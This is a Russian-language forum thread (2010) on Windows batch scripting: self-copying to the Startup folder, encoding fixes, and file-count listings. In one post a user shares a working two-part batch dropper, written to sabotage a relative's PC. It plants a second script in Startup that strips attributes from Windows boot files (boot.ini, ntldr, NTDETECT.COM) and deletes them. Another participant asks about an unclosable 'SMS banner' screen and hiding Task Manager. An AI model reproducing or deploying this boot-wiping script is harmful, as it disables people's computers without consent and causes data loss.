PDA

Показать полную графическую версию : [решено] как задать *bat'ник чтобы он сам себя скопировал в автозагрузку и файлы находящиеся р


One THE darK
09-02-2010, 22:04
народ помогите...... как задать *bat'ник чтобы он сам себя скопировал в автозагрузку и файлы находящиеся рядом с ним.. (он сам будет находится на cd диске)???

amel27
10-02-2010, 02:57
сам себя скопировал в автозагрузку и файлы находящиеся рядом с ним »

COPY "%~dp0*.*" "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup"

One THE darK
10-02-2010, 17:38
amel27, COPY "%~dp0*.*" "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup" » я это всё написал в батнике, но он всё равно не копируется в автозагрузку... =( пишет типа не является внутренней или внешней программой ..... может есть другой способ...

или я что то не так сделал?

amel27
11-02-2010, 03:43
пишет типа не является внутренней или внешней программой »
ошибка при ручном запуске батника с этими двумя строками?

oleg1345140
09-03-2010, 20:47
здравствуйте, воспользовался
COPY "%~dp0*.*" "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup"
выводит следующее
C:\>COPY "C:\*.*" "C:\Documents and Settings\1\├ыртэюх ьхэ■\╧ЁюуЁрьь√\└тЄючруЁєч
ър"
C:\44.bat
Системе не удается найти указанный путь.
Скопировано файлов: 0.

C:\>COPY "C:\*.*" "C:\Documents and Settings\1\Start Menu\Programs
C:\44.bat
Системе не удается найти указанный путь.
Скопировано файлов: 0.

подскажите где я ошибся. очень нужна функция самокопирования.

p.s.: я предпологаю что это может быть вызвано наличием русских букв, возможно ошибаюсь

зарание спасибо

seriych
09-03-2010, 22:30
oleg1345140,
Надо набрать в вордпаде и сохранить в кодировке MS-DOS. Получится вот так, если в блокноте:
COPY "%~dp0*.*" "%USERPROFILE%\ѓ«*ў*®Ґ ¬Ґ*о\Џа®Ја*¬¬л\Ђўв®§*Јаг§Є*"
COPY "%~dp0*.*" "%USERPROFILE%\Start Menu\Programs\Startup"
Или воспользуйся этим:
http://forum.oszone.net/thread-169373.html

Genom2009
10-03-2010, 17:09
а как скопировать все файлы лежащие в папке с BATником, но без этого BATника?

seriych
10-03-2010, 19:04
Genom2009,
Может проще его скопировать, а потом удалить?
Название батника известно? Если да, то так можно:
for %%i in ("*") do if NOT "%%i"=="copyfiles.bat" COPY "%%i" "C:\OutDir"
copyfiles.bat - батник, который не надо копировать,
C:\OutDir - куда копировать.

PS
Можно и не зная имени батника:
for %%i in ("*") do if NOT "%%i"=="%~nx0" COPY "%%i" "C:\OutDir"

Genom2009
10-03-2010, 19:34
seriych, Спасибо, но я нашёл другое решение и упростил.
Потом удалить к сожалению не представляется возможным, т.к. копирование происходит в автозагрузку, а в автозагрузке и так достаточно всего будет.

Объясню ситуацию:
У знакомого все родные подсели на Линейч 2 и на этой почве назревает конфликт, задача состояла в том что бы убить систему ибо "загаживание" Линейч 2 не помогает.

Я решил написать небольшую "пакость"
1.BAT
COPY 2.BAT "%USERPROFILE%\ѓ«*ў*®Ґ ¬Ґ*о\Џа®Ја*¬¬л\Ђўв®§*Јаг§Є*"
COPY 2.BAT "%USERPROFILE%\Start Menu\Programs\Startup"
DEL 2.BAT
DEL Redmi.txt
DEL %0

2.BAT
attrib -S -H -R -A C:\boot.ini
attrib -S -H -R -A C:\NTDETECT.COM
attrib -S -H -R -A C:\AUTOEXEC.BAT
attrib -S -H -R -A C:\Bootfont.bin
attrib -S -H -R -A C:\ntldr
DEL C:\boot.ini /F /Q
DEL C:\NTDETECT.COM /F /Q
DEL C:\AUTOEXEC.BAT /F /Q
DEL C:\Bootfont.bin /F /Q
DEL C:\ntldr /F /Q
DEL %0

One THE darK
10-06-2010, 14:54
доброго времени суток!!!
В данный момент столкнулся с такой проблемой, надо сделать через bat'ник, чтобы выводил изображение на экран и не давал его закрыть, пока не получит ответ на вопрос.
и попутный вопрос: возможно ли через bat'ник скрыть диспетчер задач?
выключить процесс (какой-нибудь)?
или выключить и запретить запуск этого процесса?


P.S.
возможно задать в bat'нике дату само запуска? или время в которое он запустится автоматически?

Всем спасибо в заранее!!!

amel27
11-06-2010, 07:47
One THE darK, пользуясь случаем: вопрос, заявленный в теме топика решен (http://forum.oszone.net/faq.php?faq=vb_board_usage#faq_solved_thread_faq)?

чтобы выводил изображение на экран и не давал его закрыть, пока не получит ответ на вопрос.
и попутный вопрос: возможно ли через bat'ник скрыть диспетчер задач »SMS-баннер на батниках это изврат... :)
батники для консольных приложений, как вы это себе представляете?.. куда отвечать?

выключить процесс »TaskKill /?

дату само запуска? или время в которое он запустится автоматически? »планировщик задач

One THE darK
11-06-2010, 18:39
amel27 ,
Цитата One THE darK:
выключить процесс »
TaskKill /?
а потом возможно его включить, если да, то как?

а смс-баннер с помощью какой проги можно соорудить?
просто над другом хочу поиздеваться, его фото выложить в банер)))))
сразу говорю, кроме как бэйсика, больше не знаю языков программирования....

ещё один вопрос...
какая команда должна быть в CMD , чтобы сохранить отчёт в txt файле??
вот тело bat'ника:

@ echo off
color 2
:C
dir / S
ping -n 60 localhost > nul
goto C

после сканирования, он выдаёт на экран все файлы, которые имеются в папке, где он был запушен.
как сохранить всю инфу, которая выводится в CMD??

amel27
14-06-2010, 04:29
а смс-баннер с помощью какой проги можно соорудить? »думаю на такой вопрос вам ответа не дождаться

выключить процесс »
TaskKill /?
а потом возможно его включить, если да, то как? »через TaskKill никак, только через сторонние утилиты типа PsSuspend (http://technet.microsoft.com/en-us/sysinternals/bb897540.aspx)

как сохранить всю инфу, которая выводится в CMD?»запустить батник с перенаправлением вывода в файл:sample.cmd >sample.log 2>&1

One THE darK
14-06-2010, 09:37
спасибо!
но он вот что выводит:

"sample.cmd" *Ґ пў«пҐвбп ў*гваҐ**Ґ© Ё«Ё ў*Ґи*Ґ©
Є®¬**¤®©, ЁбЇ®«*塞®© Їа®Ја*¬¬®© Ё«Ё Ї*ЄҐв*л¬ д*©«®¬.


вообщем может я что - то не так вписал в батник...
вообщем хочу сделать сканер, то есть , допустим запустить батник в папке , (где много файлов, папок и т.п.) после сканирования, что бы он вывел в текстовый документ всё. то есть сколько папок содержится, сколько файлов всего, сколько файлов в каждой папке (по отдельности) и если получится расширение файлов(в какой папке - какие файлы находятся).

amel27
14-06-2010, 10:35
допустим запустить батник в папке , (где много файлов, папок и т.п.) после сканирования, что бы он вывел в текстовый документ всё. то есть сколько папок содержится, сколько файлов всего, сколько файлов в каждой папке (по отдельности) »@for /r "%~dp0" %%i In (.) Do @(
echo folder : %%~dpnxi
<nul set /p $x="subdirs: "
dir /s/b /ad "%%i" 2^>nul|find /c /v ""
<nul set /p $x="files : "
dir /s/b/a-d "%%i" 2^>nul|find /c /v ""
echo ------------)




© OSzone.net 2001-2012